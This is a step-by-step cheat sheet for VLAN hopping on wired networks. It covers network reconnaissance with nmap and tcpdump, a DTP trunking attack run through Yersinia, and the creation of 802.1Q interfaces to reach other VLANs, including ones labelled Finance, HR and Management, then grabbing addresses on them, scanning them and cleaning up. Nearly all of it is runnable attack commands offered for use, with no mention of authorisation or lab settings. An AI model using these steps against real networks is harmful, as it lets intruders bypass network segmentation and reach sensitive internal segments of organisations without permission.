VLAN Hopping Commands & Configuration Quick Reference

Prerequisites (IMPORTANT!)

VLAN hopping ONLY works with **wired Ethernet connections** - WiFi doesn't support DTP or 802.1Q tagging.

Phase 1: Network Assessment

Check Ethernet Interface

```bash
# Find your Ethernet interface name
ip link show | grep -E "eth|enp|enx|eno"

# Check current network access
ip addr show [interface-name]
sudo nmap -sn 192.168.2.0/24
```

Monitor for DTP Traffic

```bash
# Look for switch communication
sudo tcpdump -i [interface] ether dst 01:00:0c:cc:cc:cc
```

Phase 2: DTP Attack with Yersinia

Launch Trunk Negotiation

```bash
```

```
# Start Yersinia interactive mode
sudo yersinia -I

# Navigation steps:
# 1. Press 'g' for protocol selection
# 2. Select DTP protocol
# 3. Press 'i' to select Ethernet interface
# 4. Press 'x' for attack menu
# 5. Press '1' for "Enable trunking" attack
```

Phase 3: VLAN Interface Creation

Enable VLAN Support

bash

```
# Load VLAN kernel module
sudo modprobe 8021q
```

Create VLAN Interfaces

bash

```
# Create VLAN interfaces (see table below for common IDs)
sudo ip link add link [interface] name [interface].10 type vlan id 10
sudo ip link add link [interface] name [interface].20 type vlan id 20
sudo ip link add link [interface] name [interface].100 type vlan id 100
sudo ip link add link [interface] name [interface].200 type vlan id 200

# Bring interfaces up
sudo ip link set [interface].10 up
sudo ip link set [interface].20 up
sudo ip link set [interface].100 up
sudo ip link set [interface].200 up
```

Get IP Addresses

bash

```
# Try DHCP first
sudo dhclient [interface].10
sudo dhclient [interface].20

# If DHCP fails, try manual IPs
sudo ip addr add 192.168.10.50/24 dev [interface].10
sudo ip addr add 192.168.20.50/24 dev [interface].20
```

Common VLAN IDs

VLAN ID	Typical Use
1	Default VLAN
10	Finance/Accounting
20	HR/Administration
30	IT/Technical
100	Guest Network
200	Management
300	Voice/VoIP

Verification Commands

Check Success

bash

```
# See all IP addresses (look for multiple ranges)
ip addr show | grep inet

# Scan discovered VLANs (only if you got IPs)
sudo nmap -sn -T4 --max-retries 1 192.168.10.0/24
sudo nmap -sn -T4 --max-retries 1 192.168.20.0/24
```

Phase 4: Cleanup

Remove VLAN Interfaces

bash

```
# Turn off and delete VLAN interfaces
sudo ip link set [interface].10 down
sudo ip link set [interface].20 down
sudo ip link delete [interface].10
sudo ip link delete [interface].20

# Test normal connection
ping -c 3 $(ip route | grep default | awk '{print $3}')
```

Troubleshooting

No DTP packets visible: Modern switches often disable auto-negotiation. This is good security.

ip link commands fail: Verify your Ethernet interface name with `ip link show`.

No VLAN IPs received: DTP attack may not have worked, or switch doesn't support auto-negotiation.

Interface errors: Make sure you're using correct Ethernet interface name (not WiFi).

Success Indicators

- DTP traffic visible in tcpdump
- Multiple IP addresses from different network ranges
- DHCP attempts on VLAN interfaces (even if they fail)
- Ability to create VLAN interfaces without errors